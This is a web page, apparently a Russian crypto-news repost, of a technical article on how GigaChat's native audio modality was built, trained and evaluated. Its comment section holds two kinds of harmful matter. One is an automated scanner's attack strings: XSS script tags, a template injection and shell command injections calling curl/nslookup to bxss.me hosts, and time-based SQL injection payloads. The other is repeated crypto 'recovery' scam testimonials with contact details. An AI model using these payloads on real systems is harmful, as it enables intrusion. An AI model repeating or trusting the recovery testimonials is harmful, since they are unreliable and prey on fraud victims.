Русский
EnglishCryptocurrencies:
9505 /
Markets: 114717
Market Cap: $ 3 663 340 658 986 /
24h Vol: $ 222 537 540 211 /
BTC
Dominance: 58.861607907734%
Новости
Как мы научили GigaChat слышать: погружение в аудиомодальность
В конце прошлого года мы рассказывали про эксперименты с аудиомодальностью GigaChat, эксклюзивно показывали стенд на нашей конференции. Теперь аудиомодальность GigaChat доступна всем — в веб-интерфейсе giga.chat и Telegram-боте!
Сегодня мы расскажем, почему ушли от классической схемы ASR (Automatic Speech Recognition) + LLM и построили end-to-end модель, которая понимает речь; как устроена наша новая модель; на каких данных мы её обучали; и что из этого получилось.
От ASR + GigaChat к нативной поддержке аудио
Ранее речевые сценарии реализовывались связкой SaluteSpeech ASR и GigaChat Max. Несмотря на фундаментальные модели под капотом SaluteSpeech и регулярную адаптацию сервиса к запросам различной тематики, такой подход имел ряд ограничений:
Потеря информации: ошибки ASR неизбежно влияли на точность дальнейшей обработки текста. Например, запрос «чем Tensor Parallelism отличается от Sequence Parallelism» не распознавался корректно и приводил к неудовлетворительному ответу модели
Разрыв модальностей: GigaChat не получал дополнительной информации об эмоциях, интонациях и окружающем контексте, содержащейся в голосе.
Ограничение на длинные аудио: при распознавании длинных аудиозаписей речь нарезается на небольшие фрагменты, что приводит к потере аудио-контекста.
Ограниченные мультиязычные возможности: использование модели распознавания речи снижает возможность работы с языками, которые знает GigaChat, но не поддерживает SaluteSpeech ASR.
Эти проблемы подтолкнули нас к решению обучить модель, воспринимающую речь напрямую.
Архитектура и стадии обучения
Рис. 1. Архитектура аудиомодели
Наша аудиомодель построена на основе следующей архитектуры (Рис. 1):
Audio Encoder GigaAM Max: основан на модели GigaAM-v2, которая использует архитектуру Conformer и предварительно обучена с применением HuBERT-подобного подхода. Основные отличия от open-source модели GigaAM-v2: масштабирование количества параметров модели в 2,5 раза, и обучающих данных — в 15 раз.
Modality Adapter — модуль для адаптации выходов Audio Encoder’а к внутреннему пространству GigaChat. Он состоит из двух компонентов:
Subsampler — parameter-free модуль, который сжимает длину последовательности акустических эмбеддингов в 4 раза путём конкатенации соседних векторов. Это позволяет экономить контекст LLM и эффективно обрабатывать длинные аудиозаписи.
Projector — модуль, который преобразует признаки после Subsampler’а и проецирует их в размерность LLM. Простая линейная проекция показала себя лучше сложных архитектур: основную работу выполняет энкодер.
Decoder: GigaChat 2 Max, с применением Low-Rank Adaptation (LoRA) на FFN-слои и матрицы проекций в Self-Attention.
Подробно про Pretrain, SFT и DPO базовой модели мы рассказывали в предыдущей статье «GigaChat 2.0 в API», а здесь сосредоточимся на обучении акустических модулей и совместном обучении GigaChat Audio.
Мы провели обучение в несколько этапов:
Audio Encoder Pre-training. Self-supervised Learning (SSL) на большом объёме неразмеченного аудио (≈700 тысяч часов). Здесь энкодер выучивает фундаментальные закономерности в аудиосигнале. После предобучения веса модели попадают в то состояние, из которого сходимость будет быстрой и к более качественным метрикам. Подробно про методы предобучения в аудио мы рассказывали в предыдущей статье: «GigaAM: класс открытых моделей для обработки звучащей речи».
Audio Encoder Fine-tuning на задачу распознавания речи (≈100 тысяч часов). Обучение распознавания речи на большом количестве данных позволяет сформировать семантические представления о контенте сигнала на последних слоях. Этот этап значительно ускоряет сходимость, а также позволяет достичь лучших показателей относительно обучения с SSL-энкодером.
Audio and Text Representations Alignment. Используя облегчённый декодер GigaChat Lite, мы проводим согласование представлений аудио-энкодера с латентным пространством языковой модели. Такой «тёплый старт» уменьшает число итераций, требуемых на следующем этапе, и оптимизирует расход GPU-времени.
Audio Supervised Fine-Tuning (SFT): на этом этапе модель адаптируется под форматы, обучается распознавать вызов функций и вести связный диалог на естественном языке.
Данные
Теперь, когда мы разобрались с архитектурой и стадиями обучения, давайте посмотрим, на каких данных обучали и как мы их подготавливали. Основную ценность представляют данные для последнего этапа обучения — Audio Supervised Fine-tuning. Здесь мы подробнее расскажем про их подготовку.
Мы подготовили корпус данных объёмом порядка 10 тысяч часов на русском, английском и других языках. При его формировании мы стремились охватить максимально широкий спектр речевых и аудиозадач: от классического распознавания речи до сложных мультимодальных сценариев.
В состав корпуса вошли:
Данные для распознавания речи и перевода в виде реальных аудиозаписей и надиктованных текстов. Изначально мы использовали большой объём production ASR-данных, на которых учим CTC-модели для сервисов SaluteSpeech. Это приводило к двум проблемам:
Смещение в сторону задачи распознавания. При сложном запросе (шумные условия; иностранный язык, которого было не так много в обучении) модель могла вместо ведения диалога транскрибировать последнюю реплику пользователя.
Не такая богатая нормализация и красота распознанного текста. Наши данные для распознавания речи были в формате, который заточен для обучения CTC-моделей: цифры и знаки (%, $, +, …) записаны словами. Аудиомодальность приобретала этот же стиль транскрибации.
Поэтому мы оставили на этапе Supervised Fine-Tuning только небольшое количество качественных текстов:
Распознавание диалогов с разбиением по спикерам.
«Красивый ASR» — распознавание речи с широким списком инструкций, которые учитывают пожелания пользователя: форматирование транскрипции в Markdown, добавление метки говорящего, определение его пола, добавление эмодзи, маскирование мата, запись слов-паразитов и многое другое.
После этих модификаций смещение в сторону задачи распознавания снизилось в десятки раз, а распознанный текст стал гораздо приятнее для восприятия пользователя.
Аудиоаннотации: датасеты с описанием происходящего на аудиофрагментах, с выделением объектов, событий и действий.
Вопросы по аудиоаннотациям: сбор пар аудио и текстовых аннотаций с последующей генерацией диалогов с помощью GigaChat. Вместо аудиофрагментов мы использовали подробные текстовые описания звуковых сцен.
Поддержка function calling: для вызова функций голосом мы адаптировали текстовый датасет. Озвучивание и валидация текстовых запросов производились исполнителями платформы Tagme.
Диалоговые данные: для обучения модели ведению диалога мы просили пользователей взаимодействовать с моделью на разнообразные темы как голосом, так и текстом. Пример диалога:
Role
Message
user
[audio]: Hi, my name is Alex. I'm from Minsk. I'm 9. I go to school 5 days a week. On Monday, on Tuesday, on Wednesday, on Thursday and on Friday. I'm a good pupil. I can read and write well. I can speak English very well too. My favorite lessons are maths and English. But I can't sing well and I don't like music. I come home at 2 o'clock and do my homework. On Monday I rollerblade with my friend Mike. We can rollerblade very well. On Tuesday I ride a bike with my brother. We ride bikes in the park together. On Wednesday I do my homework and then I listen to music with my friend Ann.
Переведи последнее предложение.
assistant
Последнее предложение: «On Wednesday I do my homework and then I listen to music with my friend Ann». Перевод: «В среду я делаю домашнее задание, а затем слушаю музыку со своей подругой Анной».
user
[audio]: На каком языке, судя по тексту, хорошо разговаривает Алекс?
assistant
Алекс хорошо разговаривает на английском языке. Он сам об этом говорит: «I can speak English very well».
user
[audio]: В какое время, во сколько Алекс приходит домой из школы?
assistant
Алекс приходит домой из школы в два часа («I come home at two o'clock»).
Длинные аудиозаписи: для возможности суммаризации и ответов на вопросы по длинным аудиозаписям мы собирали соответствующие датасеты. Мы использовали транскрипции аудиозаписей для генерации обучающих данных с помощью текстовой модели, для обучения же использовались только длинные аудиозаписи, короткие инструкции и ответы текстовой модели.
Кроме того, в процессе обучения мы использовали внутренние размеченные датасеты для задач определения пола и возраста, распознавания эмоций, определения шёпота и других production-классификаторов.
Отдельно отметим использование синтетических данных: мы адаптировали текстовые датасеты, заменяя текстовые реплики на голосовые с помощью технологий синтеза речи SaluteSpeech. Это позволило существенно расширить количество обучающих примеров для специфических сценариев без лишних расходов на озвучивание текстов людьми и разметку данных.
Обработка длинных аудио
Одна из важных возможностей для Audio conditioned LLM — поддержка длинного аудио-контекста: суммаризация длинных записей, ответы на вопросы. Изначально большинство датасетов в Audio SFT содержали небольшие фрагменты речи (до нескольких минут). Такое распределение в длительности приводило к плохому качеству суммаризации на часовых аудиозаписях, несмотря на текстовые возможности базовой модели на длинных контекстах.
У этой проблемы может быть несколько причин:
декодер не обобщается на большое количество аудио-токенов в контексте;
энкодер извлекает некачественные аудио-токены из длинных аудиозаписей.
Вторая причина не проявляется в нашем случае, поскольку мы используем Chunk-wise Attention в Conformer Encoder, что ограничивает его receptive field и позволяет обобщаться на длинные контексты. Мы также дополнительно выяснили, что при нарезке входного аудиосигнала на небольшие фрагменты (что позволяет энкодеру работать в том распределении длительностей записей, которое встречалось в обучении) качество суммаризации на длительных аудиозаписях оставалось неудовлетворительным.
Поэтому мы пошли по пути Audio SFT на длинных аудиозаписях. Для этого потребовалось поработать над архитектурой энкодера и режимом обучения.
Дело в том, что в классической архитектуре Conformer первым модулем используется Convolution Subsampling, который сжимает длину последовательности в несколько раз с помощью двумерных свёрток. При обучении на записях длительностью в несколько часов этот модуль становился узким местом: размер промежуточных активаций на первых слоях занимал всю GPU-память, что не позволяло производить обучение. Подобно архитектуре FastConformer мы пошли по пути облегчения Convolution Subsampling, заменив свёрточные операции с двумерных на одномерные. Это позволило сократить расход памяти примерно в 10 раз и запустить обучение на записях длительностью несколько часов.
Для обучения GigaChat 2 Max Audio на последовательностях небольшой длительности мы использовали Tensor Parallelism (TP), однако его увеличение не позволяло масштабироваться на длинные контексты. Здесь мы дополнительно добавили Sequence Parallelism (SP). Production-модель обучалась в режиме tp=2; sp=4. Таким образом, параметры слоя Self-Attention распределялись по двум видеокартам, а длина последовательности разбивалась на 4 блока. Такое разбиение позволило реализовать вычисления слоя внутри одного узла: синхронизация выполняется с помощью NVLink; нет накладных расходов на операции all-gather и reduce-scatter между разными вычислительными узлами (как в случае tp*sp > 8).
Оценка качества
Субъективные метрики
Поскольку в эксплуатации уже находился сценарий голосового взаимодействия с помощью SaluteSpeech ASR, первым делом мы провели Side-by-Side (SBS) сравнение end-to-end модели GigaChat Audio и модульной системы SaluteSpeech ASR + GigaChat.
Для этого мы собрали тестовый датасет из multi-turn диалогов: пользователи могли свободно общаться с моделью на интересные им темы и сценарии. В результате мы получили префиксы диалогов, которые можем обрабатывать разными моделями и сравнивать последние реплики.
Всего в датасет вошло 1200 диалогов. Каждый диалог оценивается тремя AI-тренерами. Помимо сравнения реплик двух моделей AI-тренер пишет комментарий, в котором обосновывает своё решение. Пример интерфейса с результатом оценки приведен на рисунке 2.
Рис. 2. Интерфейс, с помощью которого проводилось side-by-side сравнение.
На рисунке 3 представлено SBS-сравнение GigaChat Audio и SaluteSpeech ASR + GigaChat. Видно, что с большим отрывом выигрывает наша новая end-to-end модель. Мы тщательно проанализировали результаты разметки и выделили причины такого результата:
GigaChat Audio отвечает лаконичнее, не утяжеляя ответ дополнительными фактами. ASR+GigaChat добавляет даты, полные имена персонажей, номера сезонов сериалов, вес овощей и т. д., в которых иногда допускает ошибки, за что AI-тренеры штрафуют модель.
Часть запросов содержит слова, с которыми не справляется ASR. Например, «Маньпупунёр», «Валар Дохаэрис».
Часть запросов содержит полностью английские запросы, с которыми не справляется ASR.
Часть запросов направлена на анализ голоса, сцены, слышимости речи. Это принципиально невозможно с помощью ASR+GigaChat.
Рис. 3. Side-by-side сравнение GigaChat Audio (0.68) и SaluteSpeech ASR + GigaChat (0.32).
Помимо SBS-сравнения мы разработали DLAP-оценку (Dialog LLM Answer Property Evaluation) по следующим срезам:
Общее впечатление: комплексная оценка качества ответа с точки зрения удобства восприятия и удовлетворения потребностей пользователя.
Красота: оценка структуры и формата ответа, влияющих на лёгкость чтения и восприятия информации.
Грамотность: соответствие нормам современного русского языка и отсутствие стилистических и орфографических ошибок.
Следование system: соблюдение установленных правил общения с моделью.
Контекстность: способность модели учитывать предыдущую беседу и правильно реагировать на контекст.
Полезность: эффективность ответа в решении конкретной задачи пользователя.
Фактология: точность и достоверность представляемой информации.
Такой подход позволяет сравнивать модели по отдельным показателям, а также находить точки роста. На рисунке 4 представлен интерфейс разметки для одного из заданий.
Рис. 4. Пример DLAP-оценки диалога одного из AI-тренеров.
Мы проводили DLAP-сравнение на том же наборе диалогов, что и SBS. Результаты показаны на рисунке 5. Для сравнения мы добавили open-source модель Qwen2-Audio-Instruct и проприетарные модели Gemini Flash, Gemini Pro, GPT-4o. Из проведённого сравнения видно, что GigaChat 2 Max Audio превосходит или достигает метрик Gemini Flash и GPT-4o.
Рис. 5. Сравнение диалоговых свойств (DLAP) среди моделей.
Объективные метрики
В предыдущем разделе мы говорили об оценке аудио-возможностей, но перед нами стояла ещё одна важная цель: сохранить фундаментальные базовые свойства модели. Метрики на текстовых запросах не должны значительно деградировать при переходе с GigaChat на GigaChat Audio. Для этого мы проводим сравнение на десятках мировых и внутренних бенчмарков (часть из них показаны в предыдущей статье «GigaChat 2.0 в API»), а здесь для простоты указываем одни из самых известных в сообществе бенчмарков (таблица 1).
Таблица 1:
Помимо автоматических метрик мы также проанализировали изменение метрик LLM-as-a-judge (Таблица 2). Изменения от добавления аудио-возможностей составили 3-5 %.
Таблица 2:
Benchmark | Model | Score | 95% CI |
Arena-Hard-Ru | GigaChat 2 Max | 83,5 | (-1,3; 1,5) |
Arena-Hard-Ru | GigaChat 2 Max Audio | 79,5 | (-1,0; 0,9) |
RuLLMArena | GigaChat 2 Max | 82,5 | (-2,4; 2,1) |
RuLLMArena | GigaChat 2 Max Audio | 79,9 | (-1,8; 1,4) |
Как видно из приведённых выше автоматических и judge-метрик, LoRA-адаптеры, добавленные на этапе Audio SFT, не приводят к существенному искажению весов модели и деградации её базовых возможностей.
Сценарии использования
В предыдущем разделе мы обсудили наш подход к оценке качества и показали, что аудиомодальность GigaChat значительно превосходит модульный подход с ASR. Но гораздо показательнее будет взглянуть на конкретные возможности модели.
Суммаризация видео и аудио: модель способна эффективно выделять главное даже из длинных материалов. Например, вот основные мысли из интервью длительностью около двух часов:
Код голосом: написание кода через голосовое взаимодействие. Например, «Собери Dockerfile для приложения на Python с зависимостями Flask и NumPy. Укажи, как запускать сервер.»:
Запросы со сложными терминами: может накапливаться ошибка в связке ASR + GigaChat. Например, «Расскажи основные идеи архитектуры Mixture of Experts»:
Репетитор и языковое обучение: интерактивные сценарии для изучения языка. Например:
[audio 1]: «I’ll read a paragraph containing common grammar mistakes, such as mixed tenses and wrong prepositions. Please correct each mistake, explain the grammar rule I violated, and show me an alternative sentence that demonstrates proper usage.»
[audio 2]: «Yesterday, I go to the library to found a interesting book about neuroscience. I quickly readed the introduction because it was so exciting. Actually, I have read it last week already, but I forget most of the details. Then I told to my friend for giving me some summary, but she said she didn’t had time to discuss about it. So, I wait for her until late night before going back to home. I didn’t wrote any notes neither, which now I really regrets.»
Анализ публичных выступлений. Например: «Вот запись моей презентации. Проанализируй структуру, темп речи, паузы, словесные паразиты и дай советы по улучшению воздействия на аудиторию. https://www.youtube.com/watch?v=O7NSH2SAwRc&t=103s»
Анализ записей неречевой природы. Несмотря на то, что модель почти не обучалась на неречевых сигналах, она демонстрирует способность к их интерпретации. Например:«Опиши, что происходит на аудиозаписи. какие звуки ты узнала? https://www.youtube.com/watch?v=8BeVmhFURqc&ab_channel=vaandervik»
Мультимодальность: vision + audio
Ранее мы рассказывали о возможностях GigaChat Vision, а здесь описали подход, который позволил добавить нативное понимание аудио в GigaChat. Каждая из модальностей отлично справляется со своим типом запросов, но у изолированных модальностей есть существенный недостаток: отсутствие мультимодального контекста. Так, пользователь не может отправить изображение и задать к нему уточняющие вопросы голосом — для этого нужна единая модель, которая принимает на вход как изображения, так и аудиофайлы.
Чтобы ещё сильнее приблизить опыт общения с GigaChat к естественному взаимодействию, мы обучили GigaChat Audio+Vision. Как мы видели из анализа текстовых метрик, Audio-адаптеры незначительно влияют на свойства базовой модели. Более того, в сценарии мультимодального общения мы можем активировать Audio-адаптеры только на тех диалогах, которые содержат аудиозаписи. Таким образом, качество работы на диалогах, которые содержат только текст и изображения, останется неизменным.
На рисунке 6 показана схема дообучения GigaChat Vision для добавления аудиовозможностей: в ходе Audio SFT все также обучались только акустические модули и LoRA-адаптеры.
Рис. 6. Дообучение GigaChat Vision для добавления аудиовозможностей.
Мы обучали модальности последовательно, то есть в процессе обучения модель «видела» в контексте либо токены изображений, либо токены аудиозаписей. Несмотря на это, на инференсе заработал мультимодальный контекст.
Для оценки аудиовозможностей мы провели SBS-сравнение (рисунок 7). Результат 48:52 говорит о том, что понимание аудио не ухудшается при обучении с GigaChat Vision декодером.
Рис. 7. Side-by-side сравнение GigaChat Audio+Vision (0.52) и GigaChat Audio (0.48).
Дополнительно мы оценили изменение Vision-метрик (таблица 3) и текстовых возможностей (таблица 4).
Таблица 3:
Таблица 4:
Таким образом, нам удалось создать мультимодальную модель практически без деградации Audio- и Vision-модальностей.
Что дальше?
За год нам удалось перейти от классической схемы ASR + LLM к нативной аудиомодальности в GigaChat. End-to-end подход победил со счётом 68:32 в SBS-оценке и добавил принципиально новые возможности. На аудиозапросах наших пользователей модель вышла на уровень GPT-4o по DLAP при сохранении текстовых метрик.
GigaChat Audio стал возможен благодаря усилиям исследователей, инженеров, аналитиков и команды продукта. Отдельное спасибо командам GigaAM, GigaChat, SaluteSpeech и платформы за вклад в архитектуру, обучение, инфраструктуру и тестирование. Спасибо всем, кто помогал создать модель, которая не только слушает, но и понимает.
Мы продолжаем совершенствовать модель, планируя:
Расширение аудио-визуальных сценариев: не только добавляем поддержку мультимодального контекста, но и стремимся к усилению сценариев, в которых присутствует две модальности. Например, описание событий должно стать полнее при наличии как изображения, так и аудиозаписи.
Масштабирование диалоговых возможностей на новые языки: с моделью можно общаться на свободные темы на русском и английском языках, но мы добавим и другие. В первую очередь, языки СНГ.
Создание speech-to-speech модели: это позволит не только понимать, но и нативно генерировать естественную речь с подходящими по контексту интонацией и эмоцией.
Следите за нашими новостями в канале GigaDev! Внедряйте технологию в повседневные задачи с помощью giga.chat и телеграм-бота!
-
09.10.25 08:09
pHqghUme
can I ask you a question please?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:09
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
e
-
09.10.25 08:11
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
can I ask you a question please?
-
09.10.25 08:12
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:13
pHqghUme
can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
-
09.10.25 08:13
pHqghUme
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
-
09.10.25 08:13
pHqghUme
'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
-
09.10.25 08:13
pHqghUme
can I ask you a question please?9425407
-
09.10.25 08:13
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:14
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:16
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
e
-
09.10.25 08:17
pHqghUme
"+response.write(9043995*9352716)+"
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:17
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
can I ask you a question please?
-
09.10.25 08:18
pHqghUme
$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:18
pHqghUme
|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
-
09.10.25 08:18
pHqghUme
|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
-
09.10.25 08:18
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:19
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:20
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
e
-
09.10.25 08:21
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
can I ask you a question please?
-
09.10.25 08:22
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:22
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:22
pHqghUme
can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
09.10.25 08:23
pHqghUme
can I ask you a question please?
-
09.10.25 08:23
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
09.10.25 08:24
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:24
pHqghUme
e
-
09.10.25 08:24
pHqghUme
can I ask you a question please?-1 waitfor delay '0:0:15' --
-
09.10.25 08:25
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
e
-
09.10.25 08:25
pHqghUme
can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
-
09.10.25 08:26
pHqghUme
can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
-
09.10.25 08:26
pHqghUme
e
-
09.10.25 08:27
pHqghUme
can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
-
09.10.25 08:27
pHqghUme
can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
09.10.25 08:28
pHqghUme
can I ask you a question please?'"
-
09.10.25 08:28
pHqghUme
can I ask you a question please?
-
09.10.25 08:28
pHqghUme
@@olQP6
-
09.10.25 08:28
pHqghUme
(select 198766*667891 from DUAL)
-
09.10.25 08:28
pHqghUme
(select 198766*667891)
-
09.10.25 08:30
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:33
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
can I ask you a question please?
-
09.10.25 08:34
pHqghUme
if(now()=sysdate(),sleep(15),0)
-
09.10.25 08:35
pHqghUme
e
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:36
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:37
pHqghUme
e
-
09.10.25 08:40
pHqghUme
can I ask you a question please?
-
09.10.25 08:40
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:41
pHqghUme
e
-
09.10.25 08:41
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
can I ask you a question please?
-
09.10.25 08:42
pHqghUme
is it ok if I upload an image?
-
09.10.25 08:42
pHqghUme
e
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
09.10.25 11:05
marcushenderson624
Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
11.10.25 04:41
luciajessy3
Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
-
11.10.25 10:44
Tonerdomark
A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 01:12
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
12.10.25 19:53
Tonerdomark
A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
-
12.10.25 21:36
blessing
